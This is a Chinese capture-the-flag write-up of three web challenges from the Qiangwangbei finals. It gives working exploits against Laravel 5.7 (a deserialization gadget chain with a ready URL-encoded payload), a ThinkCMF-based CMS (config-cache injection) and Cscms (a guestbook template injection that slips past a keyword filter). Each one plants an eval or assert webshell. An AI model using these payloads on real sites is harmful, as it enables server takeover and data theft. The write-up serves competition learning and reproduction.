强网杯决赛RW的3个Web题

0.143字数 1407阅读 4098
这次真的是神仙打架,web狗无处苟活,AWD只有PWN题,所以Web狗只能奋力怼RW的3个web,这里不得不膜一下大师傅们,审得太快了,第二天排队排太久,啥血也没抢到,简单写下3个web的解题思路......这里放下源码,方便复现(https://pan.baidu.com/s/1WngiF9tTCMZq7SKqDaOa6g 提取码: kj7b)

0x01 laravel

这个下发的版本是5.7,并且之前有人发表过对该版本的漏洞的分析文章,所以这题差不多算是一个web签到题,这里贴一下链接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
在写这个分析文章的时候,大师傅可能避嫌把这个页面关了,也就是在程序流处理过程中,我们可以控制序列化的内容,所以只要构造一个反序列化点就可以触发该反序列RCE漏洞,刚好这个题目的设定就是给了反序列化点的。
/public/index.php:

namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
    public function index()
    {
        if(isset($_GET['code']))
        {
            $code = $_GET['code'];
            unserialize($code);
            return "Welcome to qiangwangbei!";
        }
    }
}
?>

这里给了一个反序列化利用点所以我们只要把序列化的内容赋给code参数就可以了,直接贴Exp代码(反正也不是我写的,因为赛制要求拿到shell,而且只有index.php可写,这个地方坑了我的第一次机会,吐槽一下)
get.php

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}


namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
?>

rce.php

<?php
include("get.php");
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('echo "<?php eval(\$_REQUEST[Cyc1e]);?>" > index.php'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>

GET方式把payload打过去就好了

URL:/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A50%3A%22echo+%22%3C%3Fphp+eval%28%5C%24_REQUEST%5Bpass%5D%29%3B%3F%3E%22+%3E+index.php%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

0x02 YxtCmf

第一天的下午一直在审这个cmf框架的源码,是基于ThinkPhp框架进行二次开发的,thinphp的缓存机制算是比较有意思的,主要思路是通过控制缓存文件来拿shell,查看thinkcmf的一个文档


sp_set_dynamic_config.png

设置了动态更新系统配置的函数,查看一下sp_set_dynamic_config函数的内容

function sp_set_dynamic_config($data){
    
    if(!is_array($data)){
        return false;
    }
    
    if(sp_is_sae()){
        $kv = new SaeKV();
        $ret = $kv->init();
        $configs=$kv->get("THINKCMF_DYNAMIC_CONFIG");
        $configs=empty($configs)?array():unserialize($configs);
        $configs=array_merge($configs,$data);
        $result = $kv->set('THINKCMF_DYNAMIC_CONFIG', serialize($configs));
    }elseif(defined('IS_BAE') && IS_BAE){
        $bae_mc=new BaeMemcache();
        $configs=$bae_mc->get("THINKCMF_DYNAMIC_CONFIG");
        $configs=empty($configs)?array():unserialize($configs);
        $configs=array_merge($configs,$data);
        $result = $bae_mc->set("THINKCMF_DYNAMIC_CONFIG",serialize($configs),MEMCACHE_COMPRESSED,0);
    }else{
        $config_file="./data/conf/config.php";
        if(file_exists($config_file)){
            $configs=include $config_file;
        }else {
            $configs=array();
        }
        $configs=array_merge($configs,$data);
        $result = file_put_contents($config_file, "<?php\treturn " . var_export($configs, true) . ";");
    }
    sp_clear_cache();
    S("sp_dynamic_config",$configs);
    return $result;
}

把$config和字符串“THINKCMF_DYNAMIC_CONFIG”,传入了set函数,set函数是一个写入缓存文件的函数,也就是把sp_set_dynamic_config传入的固定字符串处理后当作文件名生成,传入的$config的数据为缓存文件的内容,也就是说控制了缓存内容在拿到缓存文件名就可以控制缓存文件了,所以接下来就是找哪一个sp_set_dynamic_config函数我们可以用,因为题目环境设定是把admin、install等目录给去了,也就限制了利用访问,本菜习惯用notepad++,所以全局搜索sp_set_dynamic_config的调用情况,再排除一下,最终确定了\application\Api\Controller\OauthController.class.php中的sp_set_dynamic_config可以任意控制

function injectionAuthocode(){
        $postdata=I('post.');
        $configs["authoCode"]=$postdata['authoCode'];
        sp_set_dynamic_config($configs);
    }

缓存文件里的内容是注释后的序列化值,所以构造一下post值换行再注释后面的语句就可以写入任意代码了

POST:authoCode=Cyc1e%0aeval($_REQUEST[pass]);//

接下来就是缓存文件名的问题了(毕竟缓存文件名是个md5值,爆破是不可能的),分析set函数即可,发现就是两个固定的字符串拼接处理,所以这就是一个固定的值了,缓存的文件名固定为ed182ead0631e95e68e008bc1d3af012.php,本地生成了直接上台打就行了,第一天下午就分析到这,卡在了路由触发规则上,大写的尴尬,到酒店继续看了下,是自己傻了,路由规则看错了,所以最后的payload

URL:/index.php/api/oauth/injectionAuthocode
POST:authoCode=Cyc1e%0aeval($_REQUEST[Cyc1e]);//
PATH:/data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php

直接触发就好了


Test

0x03 Cscms

这题晚上才开始审,查了下最近报出的洞,发现这个cms好像是凉了的,最近的也就是17年的了,有一个SSTI的补丁,而且怎么找到找不到这个补丁的代码,就顺着这个思路去了,既然不让我找到,那估计就有问题的嘛,2333,这题给的题目信息一样是删除了admin、install目录,所以一样是前台的洞了,既然是SSTI,那肯定是有一个代码执行点的,全局搜索eval函数,最终定位到
\cscms\app\models\Csskins.php

// php标签处理
public function cscms_php($php,$content,$str) {
        $evalstr=" return $content";
        $newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
        return $str;
    }

只要控制了$content,就可以执行任意代码,进行函数的回溯,这个最难受了,就一个template_parse函数调用了cscms_php,定位php处理代码

//PHP代码解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
    for($i=0;$i<count($php_arr[0]);$i++){
          $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
    }
}
unset($php_arr);

也就是说正则匹配{cscmsphp}([\s\S]+?){/cscmsphp},把匹配到的数据传给cscms_php,再利用eval直接执行,分析到这逻辑就很清晰了,就是要找一个前台的调用了template_parse函数的地方,控制输入的内容,就可以实现任意代码执行,全局搜索调用情况,定位一个好调用的地方:\plugins\sys\home\Gbook.php(意见留言板,不用任何权限直接触发),其中的ajax函数对其进行了调用

$Mark_Text=$this->Csskins->template_parse($Mark_Text,false);

也就是获取到留言板输入的内容,传入到template_parse函数中,所以我们构造留言数据的时候,加上{cscmsphp}{/cscmsphp}便签就会传到eval函数中,测试了下eval($_REQUEST[Cyc1e]);,然后失败了,尽然还有转义,也是很有意思,找到处理代码。

$str = preg_replace('#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si','\\1\\2&#40;\\3&#41;',$str);

就过滤了这几个,所以构造下payload:

URL:index.php/gbook
留言数据:{cscmsphp}assert($_REQUEST[Cyc1e]);{/cscmsphp}
Shell:/index.php/gbook/lists/1?Cyc1e=phpinfo();
GET

0x04 小结

总的来说,神仙打架,Web狗没前途,神仙们都不在意Web的那一丢丢分

推荐阅读更多精彩内容